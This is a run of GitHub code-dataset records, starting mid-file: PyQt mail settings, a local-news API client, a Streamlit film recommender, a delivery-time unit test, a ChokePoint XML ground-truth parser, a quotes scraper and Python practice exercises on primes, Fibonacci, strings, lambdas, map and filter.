QLineEdit.Normal, default)\n dest = unicode(dest)\n if not validated:\n self.mainwindow.addToInfoArea(tr('email sending was cancelled'))\n return\n elif not check_mail(dest):\n QMessageBox.warning(self, tr('Test cancelled'),\n tr(\"Invalid contact email address '%s'\") % dest)\n return\n else:\n self.setAdminMail(dest)\n self.admin_mail.setText(dest)\n\n # Used if user leave Sender mail empty\n if len(self.config.sender_mail) == 0:\n self.setSenderMail(self.config.admin_mail)\n self.sender_mail.setText(self.config.admin_mail)\n self.sender_mail.validColor()\n\n self.client.call(\"contact\", 'sendTestMail', self.config.sender_mail, dest)\n self.mainwindow.addToInfoArea(tr(\"test email was sent to '%s'\") % dest)\n\n def setAdminMail(self, value):\n self.setModified(isModified=True)\n self.config.admin_mail = unicode(value).strip()\n\n def setSenderMail(self, value):\n self.setModified(isModified=True)\n self.config.sender_mail = unicode(value).strip()\n\n\n def setSmarthost(self, value):\n self.setModified(isModified=True)\n mail_inst = QMailObject.getInstance()\n mail_inst.pre_modify()\n mail_inst.mailcfg.smarthost = unicode(value)\n mail_inst.post_modify()\n\n # Notify exim page of modification\n mail = self.mainwindow.getPage('exim')\n mail.setMailModified(True)\n\n def setLanguage(self, value):\n for code, name in ContactConf.CODE_TO_NAME.iteritems():\n if name == unicode(value):\n if self.config.language != code:\n self.config.language = code\n self.setModified(isModified=True)\n return\n","repo_name":"maximerobin/Ufwi","sub_path":"etude_de_base/ufwi-administration-suite-ufwi-conf/ufwi_conf/client/system/contact/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":10803,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"20613540608","text":"import json\nimport logging\n\nfrom NwalaTextUtils.textutils import derefURI\nfrom NwalaTextUtils.textutils import genericErrorInfo\n\nlogger = logging.getLogger('us_pulse.us_pulse')\n\ndef get_us_loc_zipcodes(states_abbrv=[], regions=[]):\n\n states = {\n \"AL\": {\"zipcode\": \"36104\", \"city\": \"Montgomery\", \"state\": \"Alabama\"},\n \"AK\": {\"zipcode\": \"99801\", \"city\": \"Juneau\", \"state\": \"Alaska\"},\n \"AZ\": {\"zipcode\": \"85001\", \"city\": \"Phoenix\", \"state\": \"Arizona\"},\n \"AR\": {\"zipcode\": \"72201\", \"city\": \"Little Rock\", \"state\": \"Arkansas\"},\n \"CA\": {\"zipcode\": \"95814\", \"city\": \"Sacramento\", \"state\": \"California\"},\n \"CO\": {\"zipcode\": \"80202\", \"city\": \"Denver\", \"state\": \"Colorado\"},\n \"CT\": {\"zipcode\": \"06103\", \"city\": \"Hartford\", \"state\": \"Connecticut\"},\n \"DE\": {\"zipcode\": \"19901\", \"city\": \"Dover\", \"state\": \"Delaware\"},\n \"FL\": {\"zipcode\": \"32301\", \"city\": \"Tallahassee\", \"state\": \"Florida\"},\n \"GA\": {\"zipcode\": \"30303\", \"city\": \"Atlanta\", \"state\": \"Georgia\"},\n \"HI\": {\"zipcode\": \"96813\", \"city\": \"Honolulu\", \"state\": \"Hawaii\"},\n \"ID\": {\"zipcode\": \"83702\", \"city\": \"Boise\", \"state\": \"Idaho\"},\n \"IL\": {\"zipcode\": \"62701\", \"city\": \"Springfield\", \"state\": \"Illinois\"},\n \"IN\": {\"zipcode\": \"46225\", \"city\": \"Indianapolis\", \"state\": \"Indiana\"},\n \"IA\": {\"zipcode\": \"50309\", \"city\": \"Des Moines\", \"state\": \"Iowa\"},\n \"KS\": {\"zipcode\": \"66603\", \"city\": \"Topeka\", \"state\": \"Kansas\"},\n \"KY\": {\"zipcode\": \"40601\", \"city\": \"Frankfort\", \"state\": \"Kentucky\"},\n \"LA\": {\"zipcode\": \"70802\", \"city\": \"Baton Rouge\", \"state\": \"Louisiana\"},\n \"ME\": {\"zipcode\": \"04330\", \"city\": \"Augusta\", \"state\": \"Maine\"},\n \"MD\": {\"zipcode\": \"21401\", \"city\": \"Annapolis\", \"state\": \"Maryland\"},\n \"MA\": {\"zipcode\": \"02201\", \"city\": \"Boston\", \"state\": \"Massachusetts\"},\n \"MI\": {\"zipcode\": \"48933\", \"city\": \"Lansing\", \"state\": \"Michigan\"},\n \"MN\": {\"zipcode\": \"55102\", \"city\": \"St. Paul\", \"state\": \"Minnesota\"},\n \"MS\": {\"zipcode\": \"39205\", \"city\": \"Jackson\", \"state\": \"Mississippi\"},\n \"MO\": {\"zipcode\": \"65101\", \"city\": \"Jefferson City\", \"state\": \"Missouri\"},\n \"MT\": {\"zipcode\": \"59623\", \"city\": \"Helena\", \"state\": \"Montana\"},\n \"NE\": {\"zipcode\": \"68502\", \"city\": \"Lincoln\", \"state\": \"Nebraska\"},\n \"NV\": {\"zipcode\": \"89701\", \"city\": \"Carson City\", \"state\": \"Nevada\"},\n \"NH\": {\"zipcode\": \"03301\", \"city\": \"Concord\", \"state\": \"New Hampshire\"},\n \"NJ\": {\"zipcode\": \"08608\", \"city\": \"Trenton\", \"state\": \"New Jersey\"},\n \"NM\": {\"zipcode\": \"87501\", \"city\": \"Santa Fe\", \"state\": \"New Mexico\"},\n \"NY\": {\"zipcode\": \"12207\", \"city\": \"Albany\", \"state\": \"New York\"},\n \"NC\": {\"zipcode\": \"27601\", \"city\": \"Raleigh\", \"state\": \"North Carolina\"},\n \"ND\": {\"zipcode\": \"58501\", \"city\": \"Bismarck\", \"state\": \"North Dakota\"},\n \"OH\": {\"zipcode\": \"43215\", \"city\": \"Columbus\", \"state\": \"Ohio\"},\n \"OK\": {\"zipcode\": \"73102\", \"city\": \"Oklahoma City\", \"state\": \"Oklahoma\"},\n \"OR\": {\"zipcode\": \"97301\", \"city\": \"Salem\", \"state\": \"Oregon\"},\n \"PA\": {\"zipcode\": \"17101\", \"city\": \"Harrisburg\", \"state\": \"Pennsylvania\"},\n \"RI\": {\"zipcode\": \"02903\", \"city\": \"Providence\", \"state\": \"Rhode Island\"},\n \"SC\": {\"zipcode\": \"29217\", \"city\": \"Columbia\", \"state\": \"South Carolina\"},\n \"SD\": {\"zipcode\": \"57501\", \"city\": \"Pierre\", \"state\": \"South Dakota\"},\n \"TN\": {\"zipcode\": \"37219\", \"city\": \"Nashville\", \"state\": \"Tennessee\"},\n \"TX\": {\"zipcode\": \"78701\", \"city\": \"Austin\", \"state\": \"Texas\"},\n \"UT\": {\"zipcode\": \"84111\", \"city\": \"Salt Lake City\", \"state\": \"Utah\"},\n \"VT\": {\"zipcode\": \"05602\", \"city\": \"Montpelier\", \"state\": \"Vermont\"},\n \"VA\": {\"zipcode\": \"23219\", \"city\": \"Richmond\", \"state\": \"Virginia\"},\n \"WA\": {\"zipcode\": \"98507\", \"city\": \"Olympia\", \"state\": \"Washington\"},\n \"WV\": {\"zipcode\": \"25301\", \"city\": \"Charleston\", \"state\": \"West Virginia\"},\n \"WI\": {\"zipcode\": \"53703\", \"city\": \"Madison\", \"state\": \"Wisconsin\"},\n \"WY\": {\"zipcode\": \"82001\", \"city\": \"Cheyenne\", \"state\": \"Wyoming\"},\n \"AS\": {\"zipcode\": \"96799\", \"city\": \"Pago Pago\", \"state\": \"American Samoa\"},\n \"DC\": {\"zipcode\": \"20001\", \"city\": \"Washington\", \"state\": \"District of Columbia\"},\n \"FM\": {\"zipcode\": \"96941\", \"city\": \"Kolonia\", \"state\": \"Federated States of Micronesia\"},\n \"GU\": {\"zipcode\": \"96910\", \"city\": \"Agana (Hagåtña)\", \"state\": \"Guam\"},\n \"MH\": {\"zipcode\": \"96960\", \"city\": \"Majuro\", \"state\": \"Marshall Islands\"},\n \"MP\": {\"zipcode\": \"96950\", \"city\": \"Saipan\", \"state\": \"Northern Mariana Islands\"},\n \"PW\": {\"zipcode\": \"96939\", \"city\": \"Melekeok\", \"state\": \"Palau\"},\n \"PR\": {\"zipcode\": \"00901\", \"city\": \"San Juan\", \"state\": \"Puerto Rico\"},\n \"VI\": {\"zipcode\": \"00802\", \"city\": \"Charlotte Amalie\", \"state\": \"Virgin Islands\"}\n }\n\n #metro regions according to: https://www.higheredjobs.com/region/\n regions_metro_regions = {\n 'NEW_ENGLAND': ['CT', 'ME', 'MA', 'NH', 'RI', 'VT'],\n 'MID_ATLANTIC': ['DE', 'DC', 'MD', 'NJ', 'NY', 'PA'],\n 'EASTERN_CENTRAL': ['KY', 'NC', 'TN', 'VA', 'WV'],\n 'SOUTHEAST': ['AL', 'AR', 'FL', 'GA', 'LA', 'MS', 'SC'],\n 'MIDWEST': ['IL', 'IN', 'MI', 'OH', 'WI'],\n 'HEARTLAND': ['IA', 'KS', 'MN', 'MO', 'NE', 'ND', 'SD'],\n 'SOUTHWEST': ['AZ', 'NM', 'OK', 'TX'],\n 'ROCKY_MOUNTAIN': ['CO', 'ID', 'MT', 'NV', 'UT', 'WY'],\n 'PACIFIC_COAST': ['CA', 'OR', 'WA'],\n 'NON_CONTIGUOUS': ['AK', 'HI'],\n 'USA': list(states.keys())\n }\n \n for reg in regions:\n if( reg not in regions_metro_regions ):\n continue\n states_abbrv += regions_metro_regions[reg]\n\n\n all_locs = []\n dedup_set = set()\n for loc in states_abbrv:\n \n if( loc in dedup_set ):\n continue\n dedup_set.add(loc)\n\n \n loc = loc.upper()\n if( loc in states ):\n all_locs.append( states[loc] )\n \n\n return all_locs\n\ndef get_us_local_media(country, zipcode_or_city_lst, src_count=100, off_option=''):\n \n logger.info('\\nget_us_local_media():')\n\n payload = {'locations': []}\n if( country == '' or len(zipcode_or_city_lst) == 0 or src_count < 1 ):\n return payload\n\n \n off_option = off_option.replace(' ', '%20')\n req_size = len(zipcode_or_city_lst)\n for i in range(req_size):\n \n zipcode_or_city = zipcode_or_city_lst[i]\n req_uri = f'http://www.localmemory.org/api/countries/{country}/{zipcode_or_city}/{src_count}/?off={off_option}'\n\n logger.info(f'\\t{i} of {req_size}: {req_uri}')\n try:\n payload['locations'].append( json.loads(derefURI(req_uri)) )\n except:\n genericErrorInfo()\n \n return payload\n\ndef get_us_local_media_for_state_or_region(state_abbrv_or_region_lst, src_count=100, off_option='', **kwargs):\n \n regions = []\n states_abbrv = []\n \n for loc in state_abbrv_or_region_lst:\n \n if( len(loc) > 2 ):\n regions.append(loc)\n else:\n states_abbrv.append(loc)\n\n \n zipcodes = get_us_loc_zipcodes(states_abbrv=states_abbrv, regions=regions)\n zipcodes = [ z['zipcode'] for z in zipcodes ]\n \n return get_us_local_media('USA', zipcodes, src_count=src_count, off_option=off_option)\n\ndef get_non_us_media_for_country(country, city, src_count=100, off_option='', **kwargs):\n return get_us_local_media(country, city, src_count=src_count, off_option=off_option)\n \n","repo_name":"anwala/local-news-tools","sub_path":"locnews/LMP.py","file_name":"LMP.py","file_ext":"py","file_size_in_byte":7577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22861764604","text":"from fractions import Fraction\nli = [1,1]\nnew = []\nfenzi = []\ns = 1\nbigfenzi = 0\nbigfenmu = 1\nfor i in range(2,14):\n li.append(li[i-2]+li[i-1])\n\nfor i in range(0,13):\n new.append(li[i]*li[i+1])\nfor i in new:\n for j in new:\n if j!=i:\n s = s*j\n fenzi.append(s)\n s=1\nbigfenzi = sum(fenzi)\nfor i in new:\n bigfenmu = bigfenmu*i\nprint(li)\nprint(new)\nprint(bigfenzi)\nprint(bigfenmu)\nprint(fenzi)\nprint(Fraction(bigfenzi,bigfenmu))\n\n","repo_name":"Sunqk5665/Python_projects","sub_path":"算法练习/九韶杯/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"14750833560","text":"import sys\nimport os\n\nfrom pandas.api.types import CategoricalDtype\nimport streamlit as st\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\nfrom app.ui_utils import display_film_posters, display_parameter_controls\nfrom utils import (\n load_data,\n load_similarity_matrices,\n generate_weighted_similarity_matrix,\n get_recommendations,\n get_filter_values,\n apply_filters,\n)\nimport config\n\nst.set_page_config(layout=\"wide\")\n\ndata = load_data(config.DATA_PATH)\n\nfiltered_films = data.copy(deep=True)\n\n# Sidebar\nst.sidebar.title(\"Enter films you like then click personal recommendations\")\nliked_films = st.sidebar.multiselect(\"\", data[\"title\"])\nfilm_display_option = st.sidebar.empty()\nfilm_selector = 0\noption = film_display_option.radio(\n label=\"Show me\",\n options=[\"Top Films\", \"Personal Recommendations\"],\n index=film_selector,\n)\n\n# Main app\nst.title(\"Film Recommender System\")\ncast_options, director_options, genres_options = get_filter_values(filtered_films)\ncast_default, director_default, genres_default = get_filter_values(data)\ncast_filter, director_filter, genre_filter = st.columns(3)\ncast = cast_filter.multiselect(\"Filter by cast\", cast_options)\ndirector = director_filter.multiselect(\"Filter by director\", director_options)\ngenres = genre_filter.multiselect(\"Filter by genre\", genres_options)\ncast = cast_default if not cast else cast\ndirector = director_default if not director else director\ngenres = genres_default if not genres else genres\n\nif option == \"Top Films\":\n filtered_films = apply_filters(\n data=data, cast=cast, director=director, genres=genres, sort_column=\"imdb_score\"\n )\n filtered_films = filtered_films.loc[filtered_films[\"vote_count\"] >= config.m]\n display_film_posters(\n streamlit=st,\n data=filtered_films,\n num_rows=config.NUM_POSTER_ROWS,\n posters_per_row=config.POSTERS_PER_ROW,\n )\n\nelif option == \"Personal Recommendations\":\n if len(liked_films) == 0:\n st.sidebar.write(\"Please select at least one film for recommendations.\")\n else:\n (\n cast_similarity,\n director_similarity,\n keywords_similarity,\n overview_similarity,\n user_embedding_similarity,\n ) = load_similarity_matrices()\n\n st.sidebar.write(\"Choose recommendation focus\")\n (\n cast_weight,\n director_weight,\n keywords_weight,\n overview_weight,\n user_embedding_weight,\n ) = display_parameter_controls(\n streamlit=st,\n min_value=config.PARAMETER_CONTROL_MIN,\n max_value=config.PARAMETER_CONTROL_MAX,\n default_value=config.PARAMETER_CONTROL_DEFAULT,\n )\n with st.sidebar.expander(\"Click to see how this works:\"):\n st.write(config.APP_EXPLANATION)\n st.write(config.SOURCE_CODE_LINK)\n sim_matrices = [\n cast_similarity,\n director_similarity,\n keywords_similarity,\n overview_similarity,\n user_embedding_similarity,\n ]\n sim_weights = [\n cast_weight,\n director_weight,\n keywords_weight,\n overview_weight,\n user_embedding_weight,\n ]\n sim_mat = generate_weighted_similarity_matrix(arrays=sim_matrices, weights=sim_weights)\n recommendations = get_recommendations(\n films=data,\n titles=liked_films,\n similarity_matrix=sim_mat,\n top_n=config.POSTERS_PER_ROW * config.NUM_POSTER_ROWS,\n )\n filtered_films = data[data[\"title\"].isin(recommendations)]\n\n recommendation_order = CategoricalDtype(recommendations, ordered=True)\n filtered_films[\"title\"] = filtered_films[\"title\"].astype(recommendation_order)\n filtered_films = filtered_films.sort_values(\"title\")\n\n display_film_posters(\n streamlit=st,\n data=filtered_films,\n num_rows=config.NUM_POSTER_ROWS,\n posters_per_row=config.POSTERS_PER_ROW,\n )\n","repo_name":"tomukmatthews/film-recommender-app","sub_path":"src/app/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73917355928","text":"import unittest\nfrom parameterized import parameterized\n\ndef lastDelivery(container_schedule):\n DURATION_FROM_FACTORY_TO_PORT = 1\n DURATION_FROM_PORT_TO_A = 4\n DURATION_FROM_FACTORY_TO_B = 5\n\n delivery_times = []\n\n\n ships_at_port = [0]\n trucks_at_factory = [0,0]\n\n for destination in container_schedule:\n trucks_at_factory.sort()\n departure_from_factory = trucks_at_factory[0]\n\n if \"B\" == destination:\n # Leg: factory to B\n arrival_at_b = departure_from_factory + DURATION_FROM_FACTORY_TO_B\n delivery_time = arrival_at_b\n delivery_times.append(delivery_time)\n trucks_at_factory[0] = arrival_at_b + DURATION_FROM_FACTORY_TO_B\n else:\n\n # Leg: factory to port\n arrival_at_port = departure_from_factory + DURATION_FROM_FACTORY_TO_PORT\n trucks_at_factory[0] = arrival_at_port + DURATION_FROM_FACTORY_TO_PORT\n\n # Leg: port to A\n ships_at_port.sort()\n departure_from_port = max(arrival_at_port, ships_at_port[0])\n arrival_at_A = departure_from_port + DURATION_FROM_PORT_TO_A\n\n delivery_time = arrival_at_A\n ships_at_port[0] = arrival_at_A + DURATION_FROM_PORT_TO_A\n\n delivery_times.append(delivery_time)\n\n return max(delivery_times)\n\nclass MyTestCase(unittest.TestCase):\n @parameterized.expand([\n [\"ABBBABAAABBB\", 41],\n [\"AABABBAB\", 29],\n [\"BBA\", 15],\n [\"BAB\",7],\n [\"AB\", 5],\n [\"BB\", 5],\n [\"ABB\", 7],\n [\"AA\", 13],\n [\"B\", 5],\n [\"A\", 5]\n ])\n def test_something(self, container_schedule, last_delivery):\n self.assertEqual(\n last_delivery,\n lastDelivery(container_schedule)\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"DanilSuits/tycoon-20200210","sub_path":"tycoon/test_last_delivery.py","file_name":"test_last_delivery.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28661558021","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUtility functions that allow extraction of ground truth informations from all ChokePoint XML files.\n\n * Only for single person per track supported.\n\"\"\"\n\nimport os, posixpath\nimport xml.etree.ElementTree as et\n\n\"\"\"\nReturns the frame number of the specified frame XML element as an int, or -1 if not found\n\"\"\"\ndef xmlFrameNumber(xmlElementFrame):\n if type(xmlElementFrame) != et.Element:\n return -1\n frameNumStr = xmlElementFrame.attrib.get(\"number\")\n if (frameNumStr == \"\" or frameNumStr == None):\n return -1\n return int(frameNumStr)\n\n\"\"\"\nValidation function that goes with 'xmlFrameNumber'\n\"\"\"\ndef isValidFrameNumber(number):\n if type(number) != int:\n return False\n if number < 0:\n return False\n return True\n\n\"\"\"\nReturns the person ID of the specified frame XML element, or None if not found or not available\n\"\"\"\ndef xmlFramePersonID(xmlElementFrame):\n if type(xmlElementFrame) != et.Element:\n return None\n childs = xmlElementFrame.getchildren()\n if len(childs) > 0:\n if (childs[0].tag == \"person\"):\n return childs[0].attrib.get(\"id\")\n return None\n\n\"\"\"\nValidation function that goes with 'xmlFramePersonID'\n\"\"\"\ndef isValidPersonID(personID):\n if type(personID) != str:\n return False\n if personID == \"\":\n return False\n return True\n\n\"\"\"\nReturns the persons information as a dictionary.\nReturns an an empty dictionary if not available.\nContains eye positions as:\n\n {'leftEye': (x,y), 'rightEye': (x,y)}\n\"\"\"\ndef xmlFramePersonInfo(xmlElementFrame):\n if type(xmlElementFrame) != et.Element:\n return dict()\n person = xmlElementFrame.getchildren()\n if len(person) < 1:\n return dict()\n info = person[0]\n if type(info) != et.Element:\n return dict()\n info = info.getchildren()\n dictInfo = dict()\n for i in range(len(info)):\n if info[i].tag in [\"leftEye\",\"rightEye\"]:\n dictInfo[info[i].tag] = (info[i].attrib.get('x'), info[i].attrib.get('y'))\n return dictInfo\n\n\"\"\"\nValidation function that goes with 'xmlFramePersonInfo'\n\"\"\"\ndef isValidPersonInfo(personInfo):\n if type(personInfo) != dict:\n return False\n leftEye = personInfo.get(\"leftEye\")\n rightEye = personInfo.get(\"rightEye\")\n if leftEye == None or rightEye == None:\n return False\n if type(leftEye) != tuple or type(rightEye) != tuple:\n return False\n if len(leftEye) != 2 or len(rightEye) != 2:\n return False\n return True\n\n\"\"\"\nParses a ChokePoint Ground Truth XML file for frames with person ID specified to extract them per corresponding track.\nOutputs a list in the format:\n\n [ {'sequence': P#T_S#_C#, 'track': #, 'id': ####, 'frames': [, , ...], ... ]\n\nWhere each contains:\n\n {\"number\": #, \"info\": } with generated with 'xmlFramePersonInfo' format\n\n\"\"\"\ndef xmlParseChokePointGT(filepath):\n\n # load xml and validate basic root with filename\n tree = et.parse(filepath)\n root = tree.getroot()\n if root.tag != \"dataset\":\n return list()\n seqName = root.attrib.get(\"name\")\n seqFileName = os.path.split(filepath)[1] # filename + ext\n seqFileName = os.path.splitext(seqFileName)[0] # remove ext\n seqNameShort = os.path.splitext(seqFileName)[0] # remove '.#' sometime added at end if sequence name\n if seqNameShort != seqName:\n return list()\n\n # loop through frames and regroup them per track\n trackFrames = list()\n prevFrame = None\n for frame in root:\n frameNum = xmlFrameNumber(frame)\n if not isValidFrameNumber(frameNum):\n continue\n if prevFrame == None: # first frame\n prevFrame = frame\n continue\n\n # check for frame containing a person\n personID = xmlFramePersonID(frame)\n if isValidPersonID(personID):\n info = xmlFramePersonInfo(frame)\n if isValidPersonInfo(info):\n prevPersonID = xmlFramePersonID(prevFrame)\n prevFrameNum = xmlFrameNumber(prevFrame)\n\n # create new track on new person but not in previous frame or on non-subsequent frames\n if not isValidPersonID(prevPersonID) or (frameNum - prevFrameNum > 1):\n trackFrames.append({\"sequence\": seqFileName,\n \"track\": len(trackFrames),\n \"id\": personID,\n \"frames\": [{\"number\": frameNum, \"info\": info}]\n })\n # append last created track on same person and in previous frame\n elif prevPersonID == personID:\n idx = len(trackFrames) - 1\n trackFrames[idx][\"frames\"].append({\"number\": frameNum, \"info\": info})\n\n prevFrame = frame\n return trackFrames\n\n\"\"\"\nExtract track-based ground truths from all ChokePoint sequences.\nReturns a dictionary of tracks grouped by sequence file names.\n\"\"\"\ndef extractAllChokePointGT(basePathChokePointGT):\n allSequencesGT = dict()\n if os.path.isdir(basePathChokePointGT):\n files = sorted([file for file in os.listdir(basePathChokePointGT) if file.endswith(\".xml\")])\n for xmlFileGT in files:\n seqGT = xmlParseChokePointGT(posixpath.join(basePathChokePointGT, xmlFileGT))\n if (len(seqGT) < 1):\n continue\n seqName = os.path.splitext(xmlFileGT)[0]\n allSequencesGT[seqName] = seqGT\n return allSequencesGT\n\n\"\"\"\nCombines track ground truths information for basic sequences (P#T_S#_C#) into larger sequences (S#).\nReassigns the track ID numbers for appended sequences.\nOriginal 'sequence' field is left intact to allow finding the frame numbers in their corresponding directories.\n\"\"\"\ndef combineSequencesChokePointGT(basePathChokePointGT):\n seq = extractAllChokePointGT(basePathChokePointGT)\n groupedSeq = {\"S1\": [], \"S2\": [], \"S3\": [], \"S4\": []}\n for s in sorted(seq):\n seqName = s[4:6]\n groupedSeq[seqName].extend(seq[s])\n for s in groupedSeq:\n for i in range(len(groupedSeq[s])):\n groupedSeq[s][i][\"track\"] = i\n return groupedSeq\n\nif __name__ == \"__main__\":\n extractAllChokePointGT('')","repo_name":"fmigneault/face-recognition","sub_path":"py/extractGroundTruthChokePoint.py","file_name":"extractGroundTruthChokePoint.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14749676861","text":"def getList(start, end):\n nums = []\n for i in range(start, end + 1):\n num = i\n ok = True\n while num > 0:\n d = num % 10\n if d % 2 != 0:\n ok = False\n break\n num = num // 10\n if not ok:\n continue\n else:\n nums.append(i)\n return nums\n \n\nstart, end = map(int, input().split(','))\nnums = getList(start, end)\n\nfor i in range(len(nums)):\n if i == len(nums) - 1:\n print(nums[i], end='')\n else:\n print(nums[i], end=',')\n","repo_name":"rahdirigs/NPTELPythonCodes","sub_path":"JoyOfComputingUsingPython/Week11/program3.py","file_name":"program3.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74211003929","text":"import re\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom Quote import QuoteEntity\n\n\nclass QuotesRepository:\n quotesDivClass = 'field-item even last'\n\n def getQuotesFromTopic(self, topic):\n box=[]\n for page in range(5):\n page = 0\n response = requests.get(topic + f'?page={page}')\n if response.status_code == 200:\n quotesHtml = self.getQuotesFromPage(response)\n for item in quotesHtml:\n box.append(QuoteEntity(item))\n return box\n\n\n def getQuoteInfoFromContent(self, quotes):\n quoteBox = []\n for quoteInfo in quotes:\n quoteBox.append(QuoteEntity(quoteInfo))\n return quoteBox\n\n def getQuotesFromPage(self, response):\n soup = BeautifulSoup(response.text, 'html.parser')\n return soup.find_all('div', {'class': re.compile(r'views-row views-row-.+')})\n","repo_name":"AGaziev/quoteRandomizer","sub_path":"repositories/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24683074919","text":"\"functions\"\n\"write a function to create a dictionary of word and it's count pair in the following sentence\"\nfrom collections import defaultdict\nsentence = 'it is a very good book and reading book is good habit'\nd = defaultdict(int)\ndef word_count(sequence):\n global d\n words = sentence.split()\n for word in words:\n d[word] += 1\n return d\n\n# print(word_count(sentence))\n\n\n\"write a function to count the no of elements present in the list without using the inbuilt function\"\n# a = ['hai','guys','welcome','to']\ndef count_(list_):\n count = 0\n for item in list_:\n count += 1\n return count\n\n# print(count_(a))\n\n\"write a function to return the words starting with vowels\"\nb = 'please like shar and subscribe is from '\ndef vow_words(string_):\n list_ = []\n for word in string_.split():\n if word[0].lower() in 'aeiou':\n list_.append(word)\n return list_\n\n# print(vow_words(b))\n\n\"write a function to check if the given no is prime or not\"\nnum = 12\ndef prime_check(number):\n if number > 1:\n for i in range(2, number):\n if number % i == 0:\n return f\"{number} is not a prime\"\n else:\n return f\"{number} is a prime\"\n else:\n return \"please enter the number greater then 1\"\n\n# print(prime_check(num))\n\n\"write a function to return nth fibonaci number\"\nn = 10\ndef fibo(n):\n first = 0\n second = 1\n i = 1\n while i <= n:\n if i == n:\n print(first)\n break\n sum = first + second\n first = second\n second = sum\n i += 1\n# fibo(10)\n\n\"write a function to reverse a stirng without using inbuilt function\"\ns = \"please like share and subscribe\"\ndef rev_string(string_):\n res = ''\n for char in string_:\n res = char+res\n return res\n\n# print(rev_string(s))\n\n\"write a function to return the prime number present after the given number(if the given no is prime return the same)\"\nnumber = 12\ndef prime_check(num):\n while num > 0:\n for i in range(2,num):\n if num % i ==0:\n num += 1\n break\n else:\n return f\"{num} is a prime number\"\n\n# print(prime_check(number))\n\n\"write a function to return the string by converting upper case to lower case and vice versa without using inbuilt method\"\ns = 'dont foRGet to Press Bell ICON'\n\ndef swap_case(string_):\n res = ''\n for char in string_:\n if 'a'<= char <= 'z':\n res += chr(ord(char)-32)\n elif 'A'<= char <= 'z':\n res += chr(ord(char)+32)\n else:\n res += char\n return res\n\n# print(swap_case(s))\n\n\"\"\"write a function that takes a string as input and returns the first, last and middle two characters as the output\"\"\"\ns = 'to get all the notifications about upcoming videos'\ndef sam(string_):\n for i in range(len(string_)):\n if i == 0 or i == len(string_) - 1:\n print(string_[i], end=' ')\n elif i == len(string_) // 2:\n print(string_[i: i+2], end=' ')\n\n# sam(s)\n\n\n\"to print first 10 fibonaci numbers\"\ndef fibo(range):\n first = 0\n second = 1\n i = 1\n while i <= range:\n print(first, end= ' ')\n sum = first + second\n first = second\n second = sum\n i += 1\n\n# fibo(10)\n\n\"to check whether the given number is fibonsci number or not\"\ndef fibo(num):\n first = 0\n second = 1\n while first <= num:\n if first == num:\n return f\"{num} is a fibonaci numnber\"\n sum = first + second\n first = second\n second = sum\n else:\n return f\"{num} is not a fibonaci numner\"\n\n# print(fibo(34))\n\n\n\"wreite a function thst takes integers and float as data type as arguments and returns it sum\"\ndef temp(*args):\n sum = 0\n for item in args:\n sum += item\n return sum\n\n# print(temp(10,15,1.5))\n\n\"\"\"printing integers only when variable positonal argms passed\"\"\"\ndef int_pr(*args):\n for item in args:\n if isinstance(item,int):\n print(item)\n#\n# int_pr(1,2,3,'kasi')\n\n\n\"to print a series of numbers using recursion\"\ndef s_num(end,start=0):\n if start <= end:\n print(start,end = ' ')\n s_num(end,start+1)\n#\n# s_num(50)\n\n\"to print 10 to 1 using recursion\"\ndef num(start):\n if start > 0:\n print(start, end = ' ')\n num(start-1)\n\n# num(10)\n\n\"write a lambda function that checks if the given no is even or not\"\nres = lambda num: num % 2 == 0\n# print(res(2))\n\n\"wtite a lambda function that returns the last element of the sequence\"\nres = lambda sequence:sequence[-1]\n# print(res('kasi'))\n\n\"write a lamda function that checks if the given string is a palindrome or not\"\nres = lambda string_: string_ == string_[::-1]\n# print(res('mom'))\n\n\"write a program that checks if the given list of numbers are of even or not\"\nres = lambda num: num %2 == 0\nev_check = map(res, [1,2,3,4])\n# print(list(ev_check))\n\n\"wap to return strings which are starting with vowels\"\nlist_ = ['kasi','is','a','king','orange']\ndef func(string_):\n if string_[0].lower() in 'aeiou':\n return string_\n\nres = map(func, list_)\n# print(list(res))\n\n\"wap to get length of the each word\"\ns = 'hello world hello kasi hello python'\ndef len_word(word):\n return word,len(word)\n\nres = map(len_word, s.split())\n# print(list(res))\n\n\"wap to get a list tuples continig character and it's ascii values\"\ns = 'hello kasi'\ndef func(char):\n return char,ord(char)\n\n\nres = map(func, s)\nprint(list(res))\n\n\"wap to return even values in the below list\"\nlist_ = [2,4,8,7,6,9,1]\ndef ev_check(num):\n if num % 2 == 0:\n return num\n\nres = filter(ev_check, list_)\nprint(list(res))\n\n\"wap to returns all the words that are starting with vowels in a given sentence\"\nsentence = 'hai is it ok to introduce my id'\ndef vow(word):\n if word[0].lower() in 'aeiou':\n return word\n\nres = filter(vow, sentence.split())\nprint(list(res))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Mohanakasi/Kasi_Python_TestYantra","sub_path":"practise_12-02/16.functions.py","file_name":"16.functions.py","file_ext":"py","file_size_in_byte":5940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} 